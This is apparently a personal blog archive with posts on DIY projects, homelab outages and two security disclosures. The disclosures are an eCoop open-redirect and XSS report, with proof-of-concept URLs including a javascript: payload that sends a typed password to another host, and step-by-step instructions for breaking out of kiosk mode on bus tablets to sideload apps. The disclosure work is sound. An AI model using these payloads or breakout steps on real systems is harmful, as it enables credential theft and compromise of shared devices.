SQroot.eu

Puzzle box Christmas gift

Wed, 23 Dec 2020 00:00:00 +0200

Here’s a gift box I built for this Christmas. A wooden box, locked with a combination lock. To get the code of the lock (and the gift inside), one has to get the box open… somehow… without knowing the lock combination.

Why do this

I wanted to make obtaining the gift just a bit challenging - this would make the reward more satisfying. Idea of a locked box w/ combination lock fit well, as making a puzzle to disclose a password is doable enough. Oddly, I couldn’t find a small lockable box from local nor online stores, so I built one.

The build

I’m no woodworker, and did this in the living room, with limited tooling available. The build is rough. I discovered plenty of small tips how to make my next box cleaner, but that’s for another time.

(above) I started by cutting a length of 90cm x 2cm x 100cm pine board into ~15cm pieces, fitting the pieces together into a box, then sanding the edges. Box lid was made of a bit larger and thicker pine. A heavier lid was needed in order to fit the loops for the lock without splitting the wood, but was a mistake in retrospect, as this took the center of gravity for the box too high - it would tip over when empty and open.

(above) I pained the inside with an oil-based glossy dark brown wood oil, and the outside with water-based dark brown wood pigment. The pieces are glued together with wood glue.

(above) I wanted to engrave a name into the lid of the box. First attempt of this did not look nice - the text was very small, and I used a regular drill to engrave the wood. The drill was too big for the too-small letters. Result was sloppy-looking (if artistic), uneven edges, with some of the “freestanding” bits in letters like R (the middle outcrop) breaking off.

(above) I got a better drill meant for sideways engraving from the hardware store, and used bigger letters with more straight edges (no freestanding bits) - result looked much better. I filled the engraved letterings with white filler meant for fixing indents in wood, then let it dry and sanded the top. The result - nicely freestanding, filled out lettering.

(above) I attached small brass hinges to the backside of the box.

(above) Finishing touches - fully oiled and attaching front-facing loops for the lock. Sadly, I had to forgo adding a box-lid inlay piece, as this would have messed up the center of balance even further.

(above) The box is complete. There are plenty of areas where I knew I could do better (paint drips, uneven sanding, balance and weight…), but as this was my very first box and the point wasn’t to get it perfect, I let it be. Regardless, the final result looks rather nice.

Guess the code

(above) The box would go under the Christmas tree locked with a combination lock. In the box would also be a sheet with Maths tasks as well as a formula book. In order to open the box, you’d need to solve the math.

(above) I took the Maths problems from Estonian national Maths exam for high-schoolers, from last year (see: Math exam problems and answers for 2019 year). I picked problems that were relatively easy to solve, and also tested them on friends - the goal was to offer a slightly complex challenge, but not to frustrate people.

Solving all three problems would give you the three-digit combination of the lock; and you’d be able to open the box.

Ways to open the box

Having learned from Girlfriend Puzzle, I wanted to make it possible to open the box in multiple different ways. Again - to avoid frustration. The point wasn’t so much to solve the Maths puzzles, but to think outside the box (pun intended) and hack it (yes - I’m deviously trying to get the hacker mindset into gf).

These were the different ways how to get into the box:

Solve all three Maths problems and get the combination
There are 3 problems on the assignment sheet, each one giving X points (listed). Realize the numbers of points for the three tasks are actually individual numbers in the lock combination. Permute and open the lock.
Top and footer of the assignment sheet has, in faint letters the text: “Some SECRETS are only visible by candlelight”. Realize this means invisible ink - I wrote the combination to the paper with lemon juice. Heating the paper would yield the answer.
Unscrew back hinges (I left hinges on the outside on purpose)
Unscrew front lock loops (requires Torx screw head - on purpose)
Use online tools (Wolfram Alpha) to solve the Maths problems
Google the text of the assignments, discover it’s from national exams - with answer sheet included
Ask friends and family to help with solving Maths (distributed computing)
Outright guess the combination (it’s a significant, guessable number - a terrible password)
Physically break the box

How it played out

The box was opened via a combination of brute-forcing and solving Maths - friends and family helped to solve most of the Maths problems, getting the answer “900”. As there were only 99 possible other combinations, they were brute-forced without solving the last Maths problem, and the box was opened.

Overall, the present-puzzle was a success, and - I think - the gift was appreciated.

Ho-ho-ho =)

eCoop open redirect and XSS on login page

Tue, 04 Aug 2020 00:00:00 +0300

eCoop, an Estonian food retailer, had two vulnerabilities on their login page. Both were responsibly disclosed and fixed by the vendor.

When unauthenticated users visit the online e-store and try to access a feature intended for authenticated users, they are shown a login page.

The URL of the login page (https://ecoop.ee/et/logisisse/?next=%2Fet%2Fostunimekirjad%2F) has a query parameter next, which is intended for user convenience - you get redirected to the subpage you were trying to access after login.

However, the frontend code in charge of using this parameter didn’t validate the value, and it was possible to misuse it for two abuse cases.

The ?next= query parameter is an urlencoded value of an URI path in the same frontend application (React router path), with expected values like %2Fet%2Fostunimekirjad%2F (decoded: /et/ostunimekirjad/).

The application tries to redirect to this path after the “Login” button is pressed.

Open redirect

It was possible to feed a full URI value to the next parameter, hence redirecting the visitor out from the original eCoop website after they attempted a login. The frontend code did not validate that the passed value would be a subpage of the current site.

PoC: Phishing e-mail from “Coop” with a link to https://ecoop.ee/et/logisisse/?next=%2F%2Fekoop.ee (//ekoop.ee with two slashes - external (currently unclaimed) domain). Users would try to login on a legitimate site, but get redirected to a phishing site after the first login attempt.

Reflected XSS

It was also possible to abuse the next query parameter to execute JavaScript in the context of the site. This could be done, because it was possible to specify javascript as the link protocol.

PoC: https://ecoop.ee/et/logisisse/?next=javascript%3Aalert(1) (javascript:alert(1)). A maliciously crafted link could be sent to a user, with the payload encoded in the URL. The payload would execute once the victim pressed “log in”, and run arbitrary JavaScript in the context of the eCoop site.

eCoop session cookie is marked as httpOnly, but the site has no Content Security Policy in place to protect against it. The payload could include additional scripts, modify the content of the site, read out user-entered username/password, or phish for more information - all the while using the percieved legitimacy of the trusted domain/brand.

The fix

eCoop fixed the issue 16 months after initial disclosure. The fix involved adding a frontend validator for the value of the next parameter, checking it against a whitelist of all internally set React Routes.

// ...
return o(t, e), f(t, [{
    key: "componentWillMount",
    value: function() {
        if (this.props.location.query) {
            var e = this.props.location.query.next;
            e && this.validateRedirectPath(e), this.props.location.query.e && this.setState({
                socialLoginErrors: (0, R.attachError)(null, this.props.location.query.e, this.context.activeLanguage)
            })
        }
    }
},
{              
    key: "validateRedirectPath",
    value: function(e) {
        var t = e.split("/"),
            r = this.whitelistedRedirectPaths.some(function(e) {
                var r = e.split("/");
                return r.length === t.length && r.every(function(e, r) {
                    var u = t[r];
                    return ":" === e[0] && u || e === u
                })
            });
        if (!r) throw "Invalid redirect path!"
    }
},{
    key: "_getWhitelistedRedirectPaths",
    value: function(e) {
        return e.reduce(function(e, t) {
            return e.concat(t.childRoutes.filter(function(e) {
                return e.to
            }).map(function(e) {
                return "/" + e.to
            }))
        }, [])
    }
}
// ...

The fix appears effective, as both PoC-s now fail.

Appendix: Timeline

2019-04-04 Initial discovery
2019-04-04 No security / IT contact (or responsible disclosure/security.txt) found for eCoop, wrote to customer support for an IT contact
2019-04-05 Received contact e-mail of E-Services Development Manager
2019-04-07 Responsible disclosure to Coop about both problems, with full PoC \ explanation
2019-04-08 Acknowledgment of receipt from Coop’s E-Services Development Manager; PoC forwarded to development team
2019-11-25 Escalation: disclosure to CERT-EE (CC Coop); as nothing had happened yet - bug still live. No response form either party
2020-03-12 Escalation: contact Coop ISO directly for an update (CC original report contents)
2020-03-12 ISO replies: acknowledgment that issue was known internally since initial report; remediation plan had been made (switch to a new technical e-store platform), but implementation delayed
2020-08-04 ISO notifies that the issue has been fixed in the current production system
2020-08-05 Verified fix (a whitelist validator had been added; protects against both PoC-s), can see no obvious bypass - issue fixed
2020-08-05 Public disclosure

Appendix: Disclosure e-mail

Tere

Kirjutan Teile kui e-arendusjuhile heas usus, et responsible disclosure raames teada anda Coop e-poest leitud XSS + open redirect turvaveast. Teadaolevalt ei ole neid veel halvasti ära kasutatud, ning see teavitus võimaldab Teil vead parandada, muutes Coop keskkonna klientidele (sh minule) turvalisemaks.

(Kirjutan otse Teile, kuna ei suutnud ecoop.ee kodulehelt leida turvaküsimusteks otsekontakti, ning ecoop.ee ei kasuta security.txt standardit).

Leitud haavatavused on järgnevad.

Open redirect

Rakenduse aktsepteerib sisselogimisel URL parameetrit “next”. Näiteks, kui sisselogimata külastaja vajutab peamenüü lingile “Ostunimekirjad”, suunatakse ta edasi “Sisene eCoopi” lehele, kusjuures lehe URL on https://ecoop.ee/et/logisisse/?next=%2Fet%2Fostunimekirjad%2F.

Aadressi vaadates märgati, et next parameeter sisaldab URI segmenti ja on ilmselt haavatav open redirect turvaveale: next parameetri väärtus on muudetav ning võib näidata suvalisele URL-ile - mispeale rakendus ka peale sisselogimist sinna suunab.

PoC: https://ecoop.ee/et/logisisse/?next=%2F%2Fneti.ee (peale sisselogimist suunatakse ümber neti.ee veebilehele)

Probleem: rakendus ei valideeri next parameetri väärtust ning suunab ka välistele domeenidele.

Väärkasutus (näide #1): Kliendile saadetakse link stiilis https://ecoop.ee/et/logisisse/?next=%2F%2Fekoop.ee%2Fet%2Flogisisse; näiteks phishing-uudiskirjaga. Kirjas olev link on õigele domeenile, ning klient usaldab seda. Peale sisselogimist suunab süsteem aga edasi phishing veebilehele, mis asub hoopis teisel domeenil, ning väidab, et sisselogimine ebaõnnestus, palun sisestada parool uuesti. Klient ei märka domeeni muutust, ning annab kolmandale osapoolele oma parooli.

Kaitse: https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.md#preventing-unvalidated-redirects-and-forwards

Kriitilisus: Madal

Reflected XSS via GET URI

Kasutades sama next URL parameetrit sisselogimislehel, on võimalik ecoop keskkonnas käivitada JavaScript koodi. See on nn “Reflected XSS” haavatavus.

Probleem: Rakendus käivitab next parameetri väärtust kui JavaScript koodi, kasutaja browseri kontekstis - XSS

PoC: https://ecoop.ee/et/logisisse/?next=javascript:window.location.href%3D%27%2F%2Flocalhost%2F%27%2Bdocument.getElementById(%27tfid-84-1%27).value (peale sisselogimist suunatakse ümber teisele domeenile localhost, kusjuures kliendi parool on tekstina URL-is)

Väärkasutus (näide #1): Kliendile saadetakse phishing kirjaga link Coop e-poodi. Kirjas olev link on õigele domeenile, ning klient usaldab seda. Link viib sisselogimislehele. Kui klient vajutab “Logi sisse”, käivitub next parameetris olev JavaScript kood, mis võtab kliendi poolt täidetud parooli väljast (enne ümbersuunnamist!) parooli väärtuse, ning saadab selle kolmandale osapoolele, kompromiteerides nõnda kliendi sisselogimisandmed.

Kaitse: https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)

Kriitilisus: Keskmine

Palun vastust, kinnitamaks raporti kättesaamist ning võimalusel ka indikatiivset aega, millal mainitud vead parandatakse (tüüpiliselt parandatakse turvavead maksimaalselt 90 päeva jooksul).

Buspad kiosk breakout

Sun, 22 Mar 2020 00:00:00 +0200

Lux Express is a transportation company that operates bus lines in the Baltic region. In their fleet of more modern buses, they offer each passenger an in-seat Android multimedia tablet, running in kiosk (restricted) mode. The tablet runs a full-screen custom application, that has menu items for common entertainment options like a web browser, movies and music.

Due to misconfiguration of the tablet, it’s possible to exit this kiosk mode and get full user-level control of the tablet.

The welcome screen of the pad is the in-kiosk activity menu: watch movies, browse the web. The kiosk is running in full-screen, with no apparent exit button (there is an exit “app” hidden away in the games section, but it requires a password).

The design goal here seems (rightfully) that random travellers should only be allowed to use the tablet in kosk mode, to entertain, but not reconfigure the tablet or install any apps.

Buspad kiosk breakout - steps

Here’s how to break out of the full-screen kiosk app and access Android settings. This is not hacking per se, as everything required is exposed/allowed/enabled by the tablet in it’s current configuration. As of 2020-03-22, the tablets should still be vulnerable.

Select “internet” from the kiosk welcome screen. Navigate to any web page.

Select a word or a phrase on the web page. In Android, selecting text is done by long-pressing on a word. Choose “SHARE” from top-right.

Wikipedia warns us that we are using an old and unsupported browser that will stop working soon. I wonder if this is a nudge to prod operators into finally updating it.

Android sharing menu opens. In your phone, you’d have a bunch of apps like Twitter or Notes there as a sharing target. We are interested in the Google (launcher) app. Select it as share target.

The kiosk app moves to the background and we’re now in the context of the Google app. There’s a meta-search-launcher bar on top, where you can search and launch other apps on the tablet - including apps not listed in the restricted kiosk view. We’re now effectively out of the kiosk.

Launch ApkInstaller app. This seems to be a custom thing designed for sideloading new apps to the device, as by default, it isn’t running the Google Play app installer.

We’re offered the choice to manage existing apps, or to add a new app.

Select to install a new app; and USB memory as the install source.

Insert a USB drive into the front-facing USB port of the device. USB should contain .apk file to install.

From the ApkInstaller, find your .apk file from the USB and choose to install it.

Android default apk policy applies - sideloading apps is not allowed.

Use pad “back” buttons to exit back to the in-kiosk web browser. Launch Google app again; and from there, launch the Settings app.

Go to Security and disable “Verify apps” setting.

Try to install .apk file again; this time it succeeds.

Installed app (Terminal Emulator) is visible from apps list.

Launch the newly installed app (web -> share -> Google -> search). You’re now out of the kiosk and launched an app of your choice - be it file explorer, terminal or anything else.

Analysis

Properly kiosking of things is hard; people have been breaking out of kioskes for a long time.

In this instance, kiosk breakout was possible, because:

Android default text context-action was enabled (selecting / sharing text)
A launcher app (Google) was present and installed on the device and available as a share target
Device had ApkInstaller present and launchable
Front-facing USB port had data lines enabled; and Android user had permission to use it as mass-media device
New app installation was possible

Advise for fixing this:

Upgrade Android versions, if possible. If hardware doesn’t support newer Android, consider upgrading the hardware also. It will cost, but these devices were installed (based on the Android version present) in 2012. Enterprises typically have an amortization time of 4…5 years for these types of devices
Demand more quality from the pad’s software-development partner. The pad has numerous quality (UI/UX) issues, but also quite rich attack surface and security misconfigurations
Contract software partner to provide periodic (~2 times a year) software updates to the pads. This means Android version updates + version updates (security patches) to all the software running on it (the tablet has Flash 11.1 installed, released in… 2012)
Have monitoring and alerts for the pads. If some pad launches system settings app or installs new apps - unusual, unexpected behavior - someone should know; and look into it. I’m fairly certain no human-noticed logs or alerts were triggered from the above activity
Disable front-facing USB port for data access. At least deny the tablet user to access it. Percentage of users who would find a valid use-case for it is extremely low, but vulnerability it opens - not so low
Remove APKInstaller from device, if possible

Other observations

Android version is Jelly Bean (released in Feb 2013) - this as reached end of life long ago
The tablet and software installed there is quite old (2012) - I don’t think it has received any meaningful updates since then
It’s possible to export installed .apk-s out of the device
The custom kiosk app is poorly written. In many, many, many ways.

Possible misuses

Install keyloger (log everything being typed by next travellers). Imagine if a traveller decides to log in to their Facebook or an internet bank…
Install mic / camera recorder apps (listen in on conversations) (not sure if camera and mic are physically installed to the tablets)
Install generic malware (botnet node; (very slow) cryptocurrency miner)
Track the location of the bus
Take screenshots of the tablet (if someone has logged into any account…)

Advise to travelers

The purpose of this public disclosure is to warn travelers:

Do not trust the tablet - you didn’t provision it; you now know it isn’t properly locked; and you don’t know what previous travelers have done with it
Absolutely do not enter any sensitive data to the tablet. No logging in to Facebook; no logging in to your internet bank
Use the tab only for entertainment - read news, watch movies
Do not have sensitive conversations in the bus

Timeline

2019-12 Initial discovery
2019-12-14 Responsibly disclosed to CERT-EE and Lux Express - no response from Lux Express, autoreply from CERT
2020-03-15 2nd disclosure to Lux Express (alternative e-mail - general info contact - no response)
2020-03-22 Public disclosure

References

Secure Christmas

Thu, 20 Dec 2018 00:00:00 +0200

I received solstice greetings via snail-mail from fellow security engineers in Bigbank, guys I used to work with. Only, when ethical hackers send messages, they send them… securely.

The outer envelope was marked as registered mail. Inside:

Security stickers, because, obviously
A merry fir tree card
- …but you had to enable macros to get it to show
Security envelope, properly sealed with a security seal
- Inside, an USB drive

USB teardown

The USB drive was named “nimda” (__<<admin - RTL override?) and contained insecurity.png.

~/tmp » ls -lh
total 867M
-rw-r--r-- 1 ando ando 867M dets  17 12:34 insecurity.png

~/tmp » stat insecurity.png 
  File: insecurity.png
  Size: 908809605 	Blocks: 1775032    IO Block: 4096   regular file
Device: fd00h/64768d	Inode: 1447295     Links: 1
Access: (0644/-rw-r--r--)  Uid: ( 1000/    ando)   Gid: ( 1000/    ando)
Access: 2018-12-20 18:28:02.900991000 +0200
Modify: 2018-12-17 12:34:24.000000000 +0200
Change: 2018-12-20 18:28:02.202816787 +0200
 Birth: -

~/tmp » file insecurity.png 
insecurity.png: PNG image data, 300 x 300, 8-bit colormap, non-interlaced

So, it is (actually) a 300x300px .PNG image. The obvious question though - WTF is up with the 867M file size? Interestingly, Nautilus had no problems displaying the thumbnail.

It’s my avatar.

Maybe the guys used PNG metadata to hide a hidden message or artificially enlarge the file size? Let’s inspect with

$ identify -verbose insecurity.png

Seems like not. What about hexdump, this should give an indication of what’s actually there…

$ hexdump -C insecurity.png -n 90000 | less

The file starts with a .png image, as expected. This is why Nautilus was able to render the thumbnail. However, scrolling down, we see that at one point not far into the file, the file ends with IEND marker, which according to .PNG specification, “marks the end of the PNG datastream”.

What follows makes it clear why the file was so large.

The guys have hidden the latest .iso of Kali Linux into the .PNG file.

Have you ever thought how to hide your hacking distros? An image* will do.

Card teardown

The printed-out card they sent had two sides: one Word document, directing the user to enable content, the other wishing merry Christmas.

Most people don’t know this, but whenever you print something with a color printer, the printer embeds tiny tracking fingerprints in the paper, in yellow color. You won’t be able to see it with a naked eye, but in case it’s ever needed, this marker will be able to identify from which printer a particular paper came from. This is how they were able to identify a whistleblower in NSA.

Let’s see if the markers (or any other hidden messages) are present in the card.

We’ll start by taking a high-resolution scan (best quality possible <600dpi) of the paper.

The resulting .PDF can be opened in Gimp.

Using the color Channels dialog, we’ll hide the Red and Green color channels, leaving only the blue. And zoom in.

Looking closely, we can see tiny black dots with the same pattern, distributed across the page. Zooming in on one of them gives us the unique fingerprint of the printer in questions.

So, if you ever receive printouts with the same fingerprint, you know it came from their printer.

All-in-all, an excellent hackish solstice wish. Thanks, guys!

Bigbank Information Security Team (ISEC) is a blue team of hackers, who tries to keep the bank safe from exploitation and data breaches.

1u OpenHAB enclosure

Thu, 30 Aug 2018 00:00:00 +0300

I have been running MySensors and OpenHAB for a while now. The system is set up on a Raspberry Pi 3, running OpenHABian. I have built and deployed some basic MySensors nodes in my apartment, measuring things like room temperature and humidity. I have some “smart” IoT devices to control with OpenHAB.

My home automation project begin as a prototype, but by now it’s become clear that the system is useful and I want to expand it. This means that the “I’ll just throw a RPi onto a rack shelf” approach needs upgrading. I have a proper rack, why can’t the RPi be properly racked?

I had an empty Soekris 1u net6501 enclosure, which fit the bill.

Business Plan

Drill new holes into the Soekris enclosure, mount the Pi-s into it; rackmount the entire thing. No more free-floating Pi-s on a shelf. #labporn

Bonus points: replace the stock NRF24L01+ radio with the more powerful long-range version (external antenna); and support MySensors ERROR, RX and TX LED-s.

The Build

I started by measuring and drawing the layout in Inkscape. By printing the panel design on paper, I could get hole guidelines for drilling.

I planned to mount 3 LED-s to the 1u front panel for MySensors, + a toggle switch for stopping / starting home automation services on the Pi. The toggle switch would allow Eveli to turn off all home automation services, should something error out and become UnbearablyAnnoying.

Light sandpaper took care of removing the original Soekris paint and text. Three layers of spray-paint later I had a nice-looking black front panel.

I used through-hole 3mm LED sockets and a small toggle switch.

I drilled eight 2.5mm holes for mounting two Raspberry Pi-s (the 2nd Pi just rents the space in the enclosure) and Eveli proceeded to screw them in place.

I also added two 40mm fans to the sides of the enclosure for keeping things cool. The fans presented a problem, as they run on standard 12V, however I have no such power source available from the Pi-s. This problem will be solved in the future, somehow.

The back of the enclosure (the addon card slot) also got it’s hole for the antenna mount of the radio.

Electronics on the front panel needed connecting to the PI. I created a very small PCB module for adding the required 300Ω resistors to the LED-s and connected them to RPi GPIO pins.

Documentation is important - in three months time, I won’t remember what connects to where. I created a quick diagram of the electronics in Fritzing and printed it onto the inside of the enclosure.

The resulting enclosure looked like this.

I installed the 1u enclosure to my homelab rack.

Results

Initial testing showed that everything worked OK - the long-range radio presented no problems and MySensors flashed the appropriate LED-s when radio activity occurred.

The back-end of the enclosure doesn’t look as good as it could - I fed the Ethernet and power cables directly into the PI-s, so it isn’t modular.

Future plans involve writing firmware to make the toggle switch work as well as populating the original Soekris 3mm LED sockets with LED-s: they will start showing service status on the OpenHAB (MySensors, OpenHAB, MySQL…).

Project Files

Project files are available from GitHub.

My Soul is Mine

Tue, 22 May 2018 00:00:00 +0300

I was stopped today by a man who wanted to know if I believe in a soul.

“Why not”, the man said, “you are alive, surely you have a soul!”

Perhaps I do - or do not; I lack data. What I know is that my soul is my own, and ain’t nobodys business to tell me what to do with it.

“Thou must believe in a higher power, a god!”, is a man, telling me what to do with it.

Live life for today. Live life for the now, not for decades in the future, for what might or might not exist, after. Enjoy what you have right now, and what you have not. Warmth. Food. An ilness. A kindness, a kiss. Friends.

Friends. Live for friends, for people who are special. Hold them in your heart, instead of a god. Do not talk to me about retribution, should I refuse to give my heart to him. A heaven, where admittance is only granted to those who worship, is a kingdom of fear, not free will. Would I want to be there?

Above all, live for yourself.

Do not stop me, for I am a man who knows himself and can make his own choices.

Outage Reports From Personal Homelab

Sun, 18 Feb 2018 00:00:00 +0200

All times are in local (UTC+2) timezone.

Consumers, with their ISP-provided all-in-one router/firewall/switch/access point have it easy: plug it in, and hardly anything ever breaks. I run a personal homelab from my apartment - a 42U rack with a firewall, switched networking, application servers, UPS - all the good stuff. I get more power, but also more moving parts, which means my home IT setup has more resemblance to a corporate environment, with associated problems: more breakage and more support.

Here are some examples on how things can go wrong.

Secondary WAN Unusable Due To Breached Bandwidth Cap

Start: 2018-02-18 02:00:40
End: 2018-03-01 00:00:00
Root Cause: Scheduled backups were allowed to run over a fail-over WAN connection, which filled up its data cap and rendered it unusable
Discovered By: Monitoring

During the night, at 12:36, the primary WAN dropped due to excessive packet loss. The WAN connection had been experiencing various degrees of packet loss most of the late evening (11pm…1am, reasons unknown).

Shortly after that, a scheduled backup job from a Synology NAS ran. The backup archive was about 107 GB and was destined to upload to Amazon S3.

When the primary WAN (Starman) goes down, a fail-over 4G WAN (Tele2) connection automatically takes over. Even though the primary WAN recovered a while later (01:02), the backup had already started and used the secondary WAN connection, which is bandwidth-capped to 30GB.

It is unclear why the backup did not switch back to the primary WAN connection, once it recovered. Leading theory: a persistent TCP connection to S3 had already been established over the backup WAN and the firewall / Synology did not want to break the TCP state, so it kept using it.

Result - the 30GB data cap was eaten up very quickly, the backup failed and the secondary WAN was now effectively offline until the next month, when the cap reset.

An additional alert was thrown about the failure of the secondary WAN by Prometheus monitoring as soon as the cap was breached and the ISP blocked service.

The alert reported that a cloud-based HAProxy load-balancer was no longer able to reach my firewall via the secondary WAN connection. This meant that when the primary WAN goes down again, all of my self-hosted webpages will become unavailable, too.

Mitigation

The NAS itself is not gateway-aware: it can not detect (without hackery) if the primary or secondary WAN is active and if it should proceed with the backups.

A sensible solution is to apply mitigation from the firewall: only route NAS traffic to WAN through the primary WAN interface (previously: WAN fail-over interface).

The NAS will not reach the Interwebs when the primary WAN is down (a downside), but it will also not eat up data-capped secondary WAN bandwidth again (a win).

The purpose of the secondary WAN is to keep public webpages accessible during a short primary WAN outage - backups can wait.

Internet Unusable Due To DNS Failure

Start: ~2018-02-17 22:00
End: ~2018-02-17 22:20
Root Cause: Quad9 DNS resolver outage or a network outage to nearest Quad9 server
Discovered By: SO

Incoming customer complaint: “The Internet is not working”. Investigation revealed that the problematic laptop was in WiFi, had IP and was able to ping 8.8.8.8. However, ping to neti.ee failed. Further investigation revealed a DNS outage from that laptop and from another client device as well. Suspecting a wider DNS outage, investigation moved over to the firewall.

The main firewall was set up to use primary and secondary Quad9 DNS servers - it’s a DNS service that is both fast and also blocks malicious sites at the DNS level, “for free”. Adding a tertiary DNS (8.8.8.8) to the firewall’s pool of configured DNS servers hotfixed the issue and the customer was happily using the Internet again.

Some minutes later, the Quad9 DNS service was working again and the hotfix could be removed.

Root cause unclear: either an outage at the nearest Quad9 distribution servers or a network failure between me and Quad9. No similar outage has happened to date and Quad9 does not have a service status page (that I could find).

Momentary Power Spike from Mains Power

Start: 2018-04-17 11:18:03
End: 2018-04-17 11:18:10
Root Cause: Unexpected power spike on mains power, over Tallinn city centre, reason unknown
Discovered By: User + Monitoring

I was working in the office, when, suddenly, the green emergency exit sign on the ceiling flashed to ~300% regular brightness, then back again. Seconds later, I received an alert on my phone that my homelab had gone to battery power - the UPS had taken over. Five seconds later, the UPS was back on mains power.

Theory: an unexpected power spike occured in central Tallinn, my office and home were affected. The spike lasted a second or two.

The homelab was protected by the UPS.

Remote Filebeat log shipments failing due to changed remote IP-s

Start: 2019-06-08 19:11:13
End: 2019-06-09 16:20:00
Detected at: 2019-06-09 10:05:00
Root Cause: Changed remote node IP, which wasn’t in a whitelist
Discovered By: User, who needed logs and went looking

I am running a managed Kubernetes cluster on DigitalOcean. I run a DaemonSet of Filebeat containers on the nodes, which ship pod and node logs to my on-prem ELK for storage and search. The on-prem firewall has whitelisted the IP-s of DigitalOcean nodes, that are allowed to ship logs to me.

As part of the managed service, DigitalOcean performs automatic Kubernetes cluster updates. As details about Intel’s MDS vulnerability emerged recently, DigitalOcean needed to patch their infrastructure. This meant a redeploy of Kubernetes nodes.

Every time the nodes are redeployed, they are replaced with new droplets, having new IP-s. As you might guess, this breaks IP whitelisting - and I didn’t have any detection or automatic remediation in place.

So, when I went looking for pod logs from ELK to debug a unrelated problem, I found no logs at all - my Kubernetes node IP-s had changed and incoming log shipments were rejected by my firewall.

Remediation

The solution was easy enough - update the whitelist with new IP-s.

Monitoring improvements

As this was bound to happen again, I decided to deploy monitoring and alerting to detect this. Elastalert fit this use-case (alerting from firewall logs) nicely, and I’d been meaning to deploy it anyway.

I deployed it to my Openshift 3 cluster and added the first rule, which will monitor firewall logs for log shipment blocks.

A better solution would be to hook into DigitalOcean API-s and automatically update the whitelist.

(This post will be updated when more interesting incidents occur)

"Shut It!" - An Arduino Door Alarm

Tue, 13 Feb 2018 00:00:00 +0200

The outer door to the office had a problem: sometimes, it wouldn’t lock properly. It’s one of those doors that has a mechanical automatic closure system, but the system was worn down and would sometimes not close and properly lock the door. The result, a security risk: a distracted employee could leave the office and forget the door unlocked.

To mitigate this issue, I decided to build a small, simple DIY door alarm, that would alert employees when the office door had been left open for a prolonged period of time. This was the perfect practical project as an introduction to digital electronics and Arduino for @epplkrs, a graphical designer who wanted to learn about Arduino. She did most of the prototyping, soldering and product design and built her first real Arduino product.

Requirements

Build a small door sensor that would start beeping when the door is open for too long.

Small form-factor (can be attached to a wall)
Monitors the state of the door (open / locked)
If the door has been open for longer than 30 seconds, start beeping annoyingly until someone comes and shuts the door
Runs on batteries

Considering the requirements, we settled on the following design:

Arduino as “the brain” - Atmega328 on a breadboard
Runs on 3 AA batteries (4.5V)
Project installed in a small paper box (taped to the wall), with an extending sensor wire
Sensor (reed switch with a magnet) attaches to the door to monitor door state
When the door is open, the reed switch activates and powers ON the Arduino
A status LED on the front panel indicates that the door is open
If the door is not closed within 30 seconds, an internal Piezo buzzer will start beeping
When the door is closed, the cycle repeats

Build Process

We started with a breadboard prototype: Arduino hooked up to a sensor, a LED and a buzzer.

This enabled us to write and test the Arduino firmware.

With the code properly reading sensors and activating the buzzer, came the time for physical assembly: The project needed to come off the breadboard and into a permanent, fixed PCB.

The Atmega328 chip was attached to an empty PCB, with all the required I/O devices and connectors soldered onto it.

We used an Apple Mouse box as the project enclosure. As a result, the completed project was elegantly White.

Double-sided tape to the back of the box keeps the project on a wall.

Installation

We installed the project to the problematic door; and it works: when the door is opened, the project powers ON, waits for 30 seconds and will then start BEEPING, alerting the office: the door was left open again.

Source

Project schematics and source code are available from Github under the MIT license.

Repurposing an Old Phone: Personal HUD Screen

Wed, 06 Dec 2017 00:00:00 +0200

I was running with my buddy Priit, when I accidentally dropped my trusty Nexus 5 phone and cracked its screen. The screen had fractures, but was still perfectly legible; and the hardware still functioned. So, instead of throwing it away, I gave it a new life on my wall, as a personal “HUD” screen, showing relevant info such as weather, time and bus schedules.

Revision #1

The first revision was just a hacked-together .html page with some inline Javascript string concatenation. It fetched relevant data from publicly available API-s and displayed it out. The page took as little work as possible, to get the prototype usefulness validated.

As I was already running a in-home Openshift3 cluster, deploying it into a Nginx stateless web container was a non-issue and after two nights of hacking I had a functional prototype.

Features

Display current time using moment.js
Show current weather and the forecast for the next three hours using data from OpenWeatherMap API
Show the departure times (using real-time GPS predictions) of busses from my nearest stop using the undocumented and quite horrible CSV “API” from Tallinn city
Always-on screen on dark background

The solution was quick to implement and worked; providing useful information when I was heading out. However, as quick PoC-s often do, it had its problems:

The codebase was a mess - literally hacked together into a couple of files. It needed refactoring and “beautification” before I dared show it to anyone
All config was hardcoded
It was not very modular nor expandable (with new features)
After a couple of months, I learned what screen burn-in means

Screen burn-in: the outlines of previous content are visibly “burned in”.

Revision #2

I was satisfied that the concept worked and provided value; time to refactor.

I ordered a cheap-ish, but still good quality (excellent, large screen!) tablet from China -Teclast T10. This gave me larger screen real-estate and also a better quality (and not broken) touch-screen.

I rewrote the code from zero and split the project into two parts: screen-frontend (Vue.js) and screen-backend (Python / Flask). This allowed me to do it in a API-first manner and also keep everything nice and apart.

Getting to know Vue and Webpack without prior major JavaScript experience was a challenge, especially the asset build process (I insist in using CoffeeScript and Sass over their ‘plainer’ cousins), but finally, I succeeded.

I removed most of the hardcoded values (weather station to use, bus stop ID-s) from the code, which makes it more portable and - in theory - allows others to benefit from the project, although this is not a goal in itself.

I switched to weather data provider to the national weather service, because they have local data (although in XML…) and audio reports.

Why would http://www.ilmateenistus.ee/ilma_andmed/xml/hoiatus.php API respond with HTTP 404 for valid queries is beyond me. Whoever developed that endpoint owes me 30 minutes of lost time.

I solved the screen burn-in problem by keeping the screen OFF most of the time. The tablet turns the screen ON automatically for five minutes when the front-facing camera detects motion. This saves the screen, some power and also keeps the ambient light low at night. This can be done with the Fully kiosk browser.

Features

Show current time
Show current weather + forecast for the next couple of days
Play weather forecast in audio form (audio provided by the national weather service)
Highlight and display weather alerts for my area, if there are any
Show bus schedule in real-time
Track investments
Turn screen ON only if motion is detected

Future?

Tentative future plans include refactoring the codebase some more (don’t look at my variable names…) and adding more features, for example a tab that shows readings from home IoT sensors.

As the tablet is running its original Chinese firmware, I don’t consider it a “trusted” device: it could be doing much more than only detect motion with its camera. Hence, I will either try to flash stock Android to it (tried once, failed, any links to tutorials for this specific model are appreciated) or more likely, use my PFSense & IoT WiFi to block its access to the outside Internet.

Skill Level-Ups

First contact with Vue.js, Webpack and with Javascript frontend frameworks in general
Python / Flask experience
Open source credz (both the backend and frontend are in GitHub)

The project can be seen and used from screen.sqroot.eu and the backend API is at api.screen.sqroot.eu.

Snarky Doorbell

Sun, 19 Nov 2017 00:00:00 +0200

